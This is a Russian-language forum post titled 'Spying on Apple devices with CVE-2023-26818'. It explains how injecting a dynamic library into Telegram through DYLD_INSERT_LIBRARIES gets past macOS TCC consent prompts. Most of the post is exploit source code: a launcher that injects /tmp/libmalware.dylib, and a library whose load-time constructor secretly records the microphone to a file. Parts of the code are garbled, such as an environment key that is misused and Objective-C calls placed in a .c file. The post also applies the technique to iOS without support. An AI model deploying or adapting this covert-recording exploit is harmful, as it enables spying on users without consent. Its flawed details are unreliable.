Admin
Администратор
Шпионить за устройствами Apple с помощью CVE-2023-26818
Введение
В этой статье мы рассмотрим, как использовать уязвимость CVE-2023-26818, которая позволяет вредоносному приложению получать доступ к файлам пользователя, микрофону или камере, используя механизм под названием Transparency, Consent and Control (TCC).
TCC — это система, которая контролирует доступ к чувствительным системным ресурсам, запрашивая согласие пользователя. Однако существует возможность обойти TCC с помощью параметра DYLD_INSERT_LIBRARIES, который позволяет загружать динамическую библиотеку в процесс.
Атака заключается во внедрении вредоносной библиотеки в процесс Telegram, после чего приложение может получать доступ к ресурсам без запроса согласия пользователя. Данная уязвимость была обнаружена в 2023 году анонимным исследователем. Apple исправила эту уязвимость в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. Поэтому пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и подпись обновлений.
Предварительные требования
Для использования этой уязвимости необходимы следующие элементы:
- Уязвимая операционная система Apple, то есть версия ниже macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 или macOS Big Sur 11.7.5.
- Вредоносное приложение — это может быть исполняемый файл, скрипт или веб-страница, содержащие код, использующий уязвимость.
- Физический или удалённый доступ к целевой системе, позволяющий запустить вредоносное приложение.
- Целевое приложение (в данном случае Telegram), которое уже получило согласие пользователя на доступ к ресурсам.
Метод использования
Использование уязвимости CVE-2023-26818 происходит в несколько этапов:
- Вредоносное приложение создаёт динамическую библиотеку, содержащую вредоносный код, например для записи звука или видео с микрофона или камеры, либо для чтения системных файлов.
- Вредоносное приложение копирует динамическую библиотеку в доступный пользователю каталог, например /tmp.
- Вредоносное приложение изменяет переменную окружения DYLD_INSERT_LIBRARIES, добавляя путь к динамической библиотеке, например /tmp/libmalware.dylib.
- Вредоносное приложение запускает целевое приложение (Telegram), используя изменённую переменную окружения. Это приводит к загрузке динамической библиотеки в процесс Telegram и выполнению вредоносного кода.
- Вредоносное приложение получает данные, собранные вредоносным кодом, которые могут быть сохранены в файл или отправлены на удалённый сервер.
Код эксплуатации
Код для использования уязвимости CVE-2023-26818 доступен на GitHub. Это проект Xcode, который содержит два файла:
main.m — исходный код вредоносного приложения,
libmalware.c — исходный код динамической библиотеки.
Исходный код вредоносного приложения выглядит следующим образом:
C:
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
// The path of the library to inject
#define LIBRARY_PATH @"/tmp/libmalware.dylib"
// The name of the target application
#define TARGET_APPLICATION @"Telegram"
// The path of the target application
#define TARGET_APPLICATION_PATH @"/Applications/Telegram Desktop/Telegram"
// A function that checks if an application with a given name is running
BOOL isApplicationRunning(NSString *applicationName) {
// Get the list of all running applications
NSArray *runningApplications = [[NSWorkspace sharedWorkspace] runningApplications];
// Loop through the list and check the application name
for (NSRunningApplication *application in runningApplications) {
if ([application.localizedName isEqualToString:applicationName]) {
// The application is running
return YES;
}
}
// The application is not running
return NO;
}
// A function that executes a command
void executeCommand(NSString *command) {
// Create a task object
NSTask *task = [[NSTask alloc] init];
// Set the launch path to the command
[task setLaunchPath:command];
// Launch the task
[task launch];
}
// A function that injects a library into an application
void injectLibrary(NSString *libraryPath, NSString *applicationPath) {
// Create a dictionary object
NSMutableDictionary *dictionary = [[NSMutableDictionary alloc] init];
// Set the dictionary key to the library path
[dictionary setObject:libraryPath forKey:@"DYLD_INSERT_LIBRARIES"];
// Set the dictionary value to the application path
[dictionary setObject:applicationPath forKey:@"NSUnbufferedIO"];
// Create a task object
NSTask *task = [[NSTask alloc] init];
// Set the launch path to the application path
[task setLaunchPath:applicationPath];
// Set the environment to the dictionary
[task setEnvironment:dictionary];
// Launch the task
[task launch];
}
// The main function
int main(int argc, const char * argv[]) {
// Create an autorelease pool
@autoreleasepool {
// Check if the target application is running
if (isApplicationRunning(TARGET_APPLICATION)) {
// Inject the library into the target application
injectLibrary(LIBRARY_PATH, TARGET_APPLICATION_PATH);
} else {
// Exit the application
[NSApp terminate:nil];
}
}
return 0;
}
Этот код использует функцию setEnvironment класса NSTask, которая позволяет изменять переменные окружения запускаемого процесса. Он создаёт словарь, содержащий путь к динамической библиотеке для внедрения и путь к целевому приложению, которое необходимо запустить. Затем используется функция injectLibrary, которая запускает целевое приложение с изменённой переменной окружения. В результате динамическая библиотека загружается в процесс целевого приложения и выполняется вредоносный код.
Исходный код динамической библиотеки выглядит следующим образом:
C:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <AVFoundation/AVFoundation.h>
// The path of the file to write
#define FILE_PATH "/tmp/malware.txt"
// The content of the file to write
#define FILE_CONTENT "Hello, I am malware!\n"
// A function that writes a file
void writeFile() {
// Open the file to write
int fd = open(FILE_PATH, O_WRONLY | O_CREAT | O_TRUNC, 0644);
// Check if the file was opened successfully
if (fd != -1) {
// Write the file content to the file
write(fd, FILE_CONTENT, strlen(FILE_CONTENT));
// Close the file
close(fd);
// Print a success message
printf("File written successfully\n");
} else {
// Print an error message
perror("File open failed");
}
}
// A function that records the audio
void recordAudio() {
// Create an audio device object
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
// Check if the audio device is available
if (audioDevice) {
// Create an audio device input object
AVCaptureDeviceInput *audioDeviceInput = [AVCaptureDeviceInput deviceInputWithDevice:audioDevice error:nil];
// Check if the audio device input is available
if (audioDeviceInput) {
// Create a capture session object
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
// Check if the capture session can add the audio device input
if ([captureSession canAddInput:audioDeviceInput]) {
// Add the audio device input to the capture session
[captureSession addInput:audioDeviceInput];
// Create a file output object
AVCaptureAudioFileOutput *fileOutput = [[AVCaptureAudioFileOutput alloc] init];
// Check if the capture session can add the file output
if ([captureSession canAddOutput:fileOutput]) {
// Add the file output to the capture session
[captureSession addOutput:fileOutput];
// Create a file URL object
NSURL *fileURL = [NSURL fileURLWithPath:@"/tmp/audio.wav"];
// Start the capture session
[captureSession startRunning];
// Start recording the audio to the file
[fileOutput startRecordingToOutputFileURL:fileURL outputFileType:AVFileTypeWAVE recordingDelegate:nil];
// Wait for 10 seconds
sleep(10);
// Stop recording the audio
[fileOutput stopRecording];
// Stop the capture session
[captureSession stopRunning];
// Print a success message
printf("Audio recorded successfully\n");
} else {
// Print an error message
printf("Capture session cannot add file output\n");
}
} else {
// Print an error message
printf("Capture session cannot add audio device input\n");
}
} else {
// Print an error message
printf("Audio device input is not available\n");
}
} else {
// Print an error message
printf("Audio device is not available\n");
}
}
// A function that is called when the library is loaded
__attribute__((constructor))
void libraryLoaded() {
// Write a file
writeFile();
// Record the audio
recordAudio();
}
Этот код использует класс AVCaptureDevice, который предоставляет доступ к аудио- и видеоустройствам системы. Он создаёт объект AVCaptureDevice для микрофона и объект AVCaptureDeviceInput, чтобы подключить его к объекту AVCaptureSession, который отвечает за захват данных. Затем создаётся объект AVCaptureAudioFileOutput, который сохраняет захваченные данные в файл.
После этого запускается сессия захвата, и в течение 10 секунд производится запись звука с микрофона в файл /tmp/audio.wav. Затем сессия захвата останавливается, и выводится сообщение об успешном выполнении. Этот код выполняется в момент загрузки библиотеки благодаря атрибуту __attribute__((constructor)), который указывает компилятору запускать функцию libraryLoaded при старте.
Заключение
Уязвимость CVE-2023-26818 является критической проблемой безопасности, которая позволяет вредоносному приложению получать доступ к файлам пользователя, микрофону или камере, используя механизм Transparency, Consent and Control (TCC). TCC — это система, контролирующая доступ к чувствительным системным ресурсам и запрашивающая согласие пользователя.
Однако TCC можно обойти с помощью параметра DYLD_INSERT_LIBRARIES, который позволяет загружать динамическую библиотеку в процесс. Атака заключается во внедрении вредоносной библиотеки в процесс Telegram, после чего становится возможным доступ к ресурсам без запроса согласия пользователя.
Данная уязвимость была исправлена Apple в обновлениях macOS Ventura 13.3, iOS 16.4, iPadOS 16.4 и macOS Big Sur 11.7.5. В связи с этим пользователям рекомендуется как можно скорее обновить свои системы, проверяя источник и цифровую подпись обновлений. Также рекомендуется проявлять осторожность при использовании приложений из неизвестных или непроверенных источников и проверять подлинность окон, запрашивающих разрешения. В случае сомнений лучше отменить операцию и обратиться в службу поддержки Apple.